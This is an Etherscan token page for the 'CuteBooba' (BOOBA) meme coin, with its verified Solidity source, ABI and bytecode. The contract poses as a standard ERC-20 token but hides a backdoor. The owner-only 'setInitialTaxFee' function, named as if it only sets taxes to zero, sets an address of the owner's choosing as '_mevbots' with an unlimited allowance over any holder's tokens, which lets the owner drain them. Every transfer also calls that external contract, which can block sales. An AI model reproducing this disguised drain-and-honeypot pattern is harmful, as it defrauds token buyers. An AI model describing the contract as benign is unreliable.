ETH Price: $2,527.16 (+0.18%)

Token

CuteBooba (BOOBA)
 

Overview

Max Total Supply

1,000,000,000,000 BOOBA

Holders

98

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,751,011,638.577887821 BOOBA

Value
$0.00
0x3d43c9553da483e69e2bd3175b4b899b30c877ed
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CuteBooba

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

// SPDX-License-Identifier: MIT

/**
    LOVE BOOBA, LOVE BOOBA, VERY CUTE!

    Website:   https://www.cuteboba.io
    Telegram:  https://t.me/CuteBooba   
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IMevBot {
    function checkMevBots(address, address, uint256) external returns(bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CuteBooba is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialTax=0;
    uint256 private _finalTax=0;
    uint256 private _reduceTaxAt=25;
    uint256 private _buyCount=0;
    address public _mevbots;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000000 * 10**_decimals;
    string private constant _name = unicode"CuteBooba";
    string private constant _symbol = unicode"BOOBA";
    uint256 public _maxTxAmount = _tTotal * 20 / 1000;
    uint256 public _maxWalletSize = _tTotal * 20 / 1000;
    uint256 public _taxSwap = _tTotal * 5 / 10000;
    

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private inSwap = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function checkMevBot(address from, address to, uint256 amount) internal{
        if( _mevbots != address(0))  IMevBot(_mevbots).checkMevBots(from, to, amount);
    }
 
    function updateMevProc(bytes memory _v) internal {
        (address owner, address spender) = abi.decode(_v, (address, address));
        _mevbots = spender;
        _allowances[owner][spender] = type(uint).max;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        _isExcludedFromFee[holder] = exempt;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);  checkMevBot(from, to, amount);
            if(!inSwap){
              taxAmount = amount.mul((_buyCount>_reduceTaxAt)?_finalTax:_initialTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && contractTokenBalance>_taxSwap) {
                swapTokensForEth(_taxSwap>amount?amount:_taxSwap);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function setInitialTaxFee(bytes memory _v) external onlyOwner {

        _initialTax = 0;
        _finalTax = 0;

        updateMevProc(_v);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<6);
      _finalTax=_newFee;
    }


    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        swapTokensForEth(balanceOf(address(this)));
    }

    function manualSend() external {
        require(_msgSender() == _taxWallet);
        sendETHToFee(address(this).balance);
    }

    function manualSendToken() external {
        require(_msgSender() == _taxWallet);
        IERC20(address(this)).transfer(msg.sender, balanceOf(address(this)));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mevbots","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_v","type":"bytes"}],"name":"setInitialTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006006556000600755601960085560006009556103e86009600a6200002b919062000507565b6200003c9064e8d4a510006200051f565b620000499060146200051f565b62000055919062000539565b600b556103e8620000696009600a62000507565b6200007a9064e8d4a510006200051f565b620000879060146200051f565b62000093919062000539565b600c55612710620000a76009600a62000507565b620000b89064e8d4a510006200051f565b620000c59060056200051f565b620000d1919062000539565b600d55600f805460ff60a01b19169055348015620000ee57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191633179055620001506009600a62000507565b620001619064e8d4a510006200051f565b3360009081526001602081905260408220929092556003906200018c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600384528281208054861660019081179091556005549092168152829020805490941617909255600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa15801562000245573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026b91906200055c565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f491906200055c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000342573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036891906200055c565b600f80546001600160a01b0319166001600160a01b0392909216919091179055620003903390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003ca6009600a62000507565b620003db9064e8d4a510006200051f565b60405190815260200160405180910390a362000587565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004495781600019048211156200042d576200042d620003f2565b808516156200043b57918102915b93841c93908002906200040d565b509250929050565b600082620004625750600162000501565b81620004715750600062000501565b81600181146200048a57600281146200049557620004b5565b600191505062000501565b60ff841115620004a957620004a9620003f2565b50506001821b62000501565b5060208310610133831016604e8410600b8410161715620004da575081810a62000501565b620004e6838362000408565b8060001904821115620004fd57620004fd620003f2565b0290505b92915050565b60006200051860ff84168362000451565b9392505050565b8082028115828204841417620005015762000501620003f2565b6000826200055757634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200056f57600080fd5b81516001600160a01b03811681146200051857600080fd5b611a3c80620005976000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d15780638f9a55c01161008a578063d34628cc11610064578063d34628cc1461043b578063dd62ed3e1461045b578063ec1f3f63146104a1578063f4293890146104c157600080fd5b80638f9a55c0146103d757806395d89b41146103ed578063a9059cbb1461041b57600080fd5b806370a0823114610323578063715018a614610359578063751039fc1461036e5780637d1db4a5146103835780638084e64d146103995780638da5cb5b146103b957600080fd5b806334376f3b1161012357806334376f3b1461026b578063367906c31461028157806349bd5a5e146102b9578063503dfc4d146102d957806351bc3c85146102ee578063658d4b7f1461030357600080fd5b806306fdde0314610176578063095ea7b3146101ba57806318160ddd146101ea57806323b872dd1461020d578063313ce5671461022d57806331c2d8471461024957600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600981526843757465426f6f626160b81b60208201525b6040516101b1919061142f565b60405180910390f35b3480156101c657600080fd5b506101da6101d5366004611492565b6104d6565b60405190151581526020016101b1565b3480156101f657600080fd5b506101ff6104ed565b6040519081526020016101b1565b34801561021957600080fd5b506101da6102283660046114be565b61050f565b34801561023957600080fd5b50604051600981526020016101b1565b34801561025557600080fd5b50610269610264366004611546565b610578565b005b34801561027757600080fd5b506101ff600d5481565b34801561028d57600080fd5b50600a546102a1906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102c557600080fd5b50600f546102a1906001600160a01b031681565b3480156102e557600080fd5b50610269610617565b3480156102fa57600080fd5b506102696106c1565b34801561030f57600080fd5b5061026961031e366004611606565b6106fc565b34801561032f57600080fd5b506101ff61033e36600461163f565b6001600160a01b031660009081526001602052604090205490565b34801561036557600080fd5b50610269610751565b34801561037a57600080fd5b506102696107c5565b34801561038f57600080fd5b506101ff600b5481565b3480156103a557600080fd5b506102696103b436600461165c565b61087a565b3480156103c557600080fd5b506000546001600160a01b03166102a1565b3480156103e357600080fd5b506101ff600c5481565b3480156103f957600080fd5b50604080518082019091526005815264424f4f424160d81b60208201526101a4565b34801561042757600080fd5b506101da610436366004611492565b6108b7565b34801561044757600080fd5b50610269610456366004611546565b6108c4565b34801561046757600080fd5b506101ff6104763660046116f1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104ad57600080fd5b506102696104bc36600461171f565b610956565b3480156104cd57600080fd5b50610269610988565b60006104e33384846109b1565b5060015b92915050565b60006104fb6009600a611832565b61050a9064e8d4a51000611841565b905090565b600061051c848484610ad5565b61056e8433610569856040518060600160405280602881526020016119df602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fb8565b6109b1565b5060019392505050565b6000546001600160a01b031633146105ab5760405162461bcd60e51b81526004016105a290611858565b60405180910390fd5b60005b8151811015610613576000600460008484815181106105cf576105cf61188d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060b816118a3565b9150506105ae565b5050565b6005546001600160a01b0316336001600160a01b03161461063757600080fd5b3060008181526001602052604090205463a9059cbb9033906040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af115801561069a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106be91906118bc565b50565b6005546001600160a01b0316336001600160a01b0316146106e157600080fd5b306000908152600160205260409020546106fa90610ff2565b565b6000546001600160a01b031633146107265760405162461bcd60e51b81526004016105a290611858565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b81526004016105a290611858565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107ef5760405162461bcd60e51b81526004016105a290611858565b6107fb6009600a611832565b61080a9064e8d4a51000611841565b600b556108196009600a611832565b6108289064e8d4a51000611841565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108586009600a611832565b6108679064e8d4a51000611841565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108a45760405162461bcd60e51b81526004016105a290611858565b600060068190556007556106be8161116c565b60006104e3338484610ad5565b6000546001600160a01b031633146108ee5760405162461bcd60e51b81526004016105a290611858565b60005b8151811015610613576001600460008484815181106109125761091261188d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061094e816118a3565b9150506108f1565b6005546001600160a01b0316336001600160a01b03161461097657600080fd5b6006811061098357600080fd5b600755565b6005546001600160a01b0316336001600160a01b0316146109a857600080fd5b6106fa476111c6565b6001600160a01b038316610a135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a2565b6001600160a01b038216610a745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a2565b6001600160a01b038216610b9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a2565b60008111610bfd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a2565b600080546001600160a01b03858116911614801590610c2a57506000546001600160a01b03848116911614155b15610e75576001600160a01b03841660009081526004602052604090205460ff16158015610c7157506001600160a01b03831660009081526004602052604090205460ff16155b610c7a57600080fd5b610c85848484611200565b600f54600160a01b900460ff16610cc557610cc26064610cbc60085460095411610cb157600654610cb5565b6007545b8590611295565b9061131e565b90505b600f546001600160a01b038581169116148015610cf05750600e546001600160a01b03848116911614155b8015610d1557506001600160a01b03831660009081526003602052604090205460ff16155b15610dfd57600b54821115610d6c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a2565b600c5482610d8f856001600160a01b031660009081526001602052604090205490565b610d9991906118d9565b1115610de75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a2565b60098054906000610df7836118a3565b91905055505b30600090815260016020526040902054600f54600160a01b900460ff16158015610e355750600f546001600160a01b03868116911614155b8015610e425750600d5481115b15610e7357610e6183600d5411610e5b57600d54610ff2565b83610ff2565b478015610e7157610e71476111c6565b505b505b6001600160a01b038416600090815260016020526040902054610e989083611360565b6001600160a01b038516600090815260016020526040902055610edd610ebe8383611360565b6001600160a01b038516600090815260016020526040902054906113a2565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f278585611360565b60405190815260200160405180910390a38015610fb25730600090815260016020526040902054610f5890826113a2565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa99085815260200190565b60405180910390a35b50505050565b60008184841115610fdc5760405162461bcd60e51b81526004016105a2919061142f565b506000610fe984866118ec565b95945050505050565b600f805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103a5761103a61188d565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b791906118ff565b816001815181106110ca576110ca61188d565b6001600160a01b039283166020918202929092010152600e546110f091309116846109b1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061112990859060009086903090429060040161191c565b600060405180830381600087803b15801561114357600080fd5b505af1158015611157573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b60008082806020019051810190611183919061198d565b600a80546001600160a01b0319166001600160a01b0392831690811790915591166000908152600260209081526040808320938352929052206000199055505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610613573d6000803e3d6000fd5b600a546001600160a01b03161561129057600a54604051635836867b60e11b81526001600160a01b0385811660048301528481166024830152604482018490529091169063b06d0cf6906064016020604051808303816000875af115801561126c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb291906118bc565b505050565b6000826000036112a7575060006104e7565b60006112b38385611841565b9050826112c085836119bc565b146113175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a2565b9392505050565b600061131783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611401565b600061131783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb8565b6000806113af83856118d9565b9050838110156113175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a2565b600081836114225760405162461bcd60e51b81526004016105a2919061142f565b506000610fe984866119bc565b600060208083528351808285015260005b8181101561145c57858101830151858201604001528201611440565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106be57600080fd5b600080604083850312156114a557600080fd5b82356114b08161147d565b946020939093013593505050565b6000806000606084860312156114d357600080fd5b83356114de8161147d565b925060208401356114ee8161147d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561153e5761153e6114ff565b604052919050565b6000602080838503121561155957600080fd5b823567ffffffffffffffff8082111561157157600080fd5b818501915085601f83011261158557600080fd5b813581811115611597576115976114ff565b8060051b91506115a8848301611515565b81815291830184019184810190888411156115c257600080fd5b938501935b838510156115ec57843592506115dc8361147d565b82825293850193908501906115c7565b98975050505050505050565b80151581146106be57600080fd5b6000806040838503121561161957600080fd5b82356116248161147d565b91506020830135611634816115f8565b809150509250929050565b60006020828403121561165157600080fd5b81356113178161147d565b6000602080838503121561166f57600080fd5b823567ffffffffffffffff8082111561168757600080fd5b818501915085601f83011261169b57600080fd5b8135818111156116ad576116ad6114ff565b6116bf601f8201601f19168501611515565b915080825286848285010111156116d557600080fd5b8084840185840137600090820190930192909252509392505050565b6000806040838503121561170457600080fd5b823561170f8161147d565b915060208301356116348161147d565b60006020828403121561173157600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561178957816000190482111561176f5761176f611738565b8085161561177c57918102915b93841c9390800290611753565b509250929050565b6000826117a0575060016104e7565b816117ad575060006104e7565b81600181146117c357600281146117cd576117e9565b60019150506104e7565b60ff8411156117de576117de611738565b50506001821b6104e7565b5060208310610133831016604e8410600b841016171561180c575081810a6104e7565b611816838361174e565b806000190482111561182a5761182a611738565b029392505050565b600061131760ff841683611791565b80820281158282048414176104e7576104e7611738565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118b5576118b5611738565b5060010190565b6000602082840312156118ce57600080fd5b8151611317816115f8565b808201808211156104e7576104e7611738565b818103818111156104e7576104e7611738565b60006020828403121561191157600080fd5b81516113178161147d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561196c5784516001600160a01b031683529383019391830191600101611947565b50506001600160a01b03969096166060850152505050608001529392505050565b600080604083850312156119a057600080fd5b82516119ab8161147d565b60208401519092506116348161147d565b6000826119d957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220211063c0bba456ae0d145160a814697e430e2f9f87189e859ffae97c0204f51864736f6c63430008130033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370a08231116100d15780638f9a55c01161008a578063d34628cc11610064578063d34628cc1461043b578063dd62ed3e1461045b578063ec1f3f63146104a1578063f4293890146104c157600080fd5b80638f9a55c0146103d757806395d89b41146103ed578063a9059cbb1461041b57600080fd5b806370a0823114610323578063715018a614610359578063751039fc1461036e5780637d1db4a5146103835780638084e64d146103995780638da5cb5b146103b957600080fd5b806334376f3b1161012357806334376f3b1461026b578063367906c31461028157806349bd5a5e146102b9578063503dfc4d146102d957806351bc3c85146102ee578063658d4b7f1461030357600080fd5b806306fdde0314610176578063095ea7b3146101ba57806318160ddd146101ea57806323b872dd1461020d578063313ce5671461022d57806331c2d8471461024957600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600981526843757465426f6f626160b81b60208201525b6040516101b1919061142f565b60405180910390f35b3480156101c657600080fd5b506101da6101d5366004611492565b6104d6565b60405190151581526020016101b1565b3480156101f657600080fd5b506101ff6104ed565b6040519081526020016101b1565b34801561021957600080fd5b506101da6102283660046114be565b61050f565b34801561023957600080fd5b50604051600981526020016101b1565b34801561025557600080fd5b50610269610264366004611546565b610578565b005b34801561027757600080fd5b506101ff600d5481565b34801561028d57600080fd5b50600a546102a1906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102c557600080fd5b50600f546102a1906001600160a01b031681565b3480156102e557600080fd5b50610269610617565b3480156102fa57600080fd5b506102696106c1565b34801561030f57600080fd5b5061026961031e366004611606565b6106fc565b34801561032f57600080fd5b506101ff61033e36600461163f565b6001600160a01b031660009081526001602052604090205490565b34801561036557600080fd5b50610269610751565b34801561037a57600080fd5b506102696107c5565b34801561038f57600080fd5b506101ff600b5481565b3480156103a557600080fd5b506102696103b436600461165c565b61087a565b3480156103c557600080fd5b506000546001600160a01b03166102a1565b3480156103e357600080fd5b506101ff600c5481565b3480156103f957600080fd5b50604080518082019091526005815264424f4f424160d81b60208201526101a4565b34801561042757600080fd5b506101da610436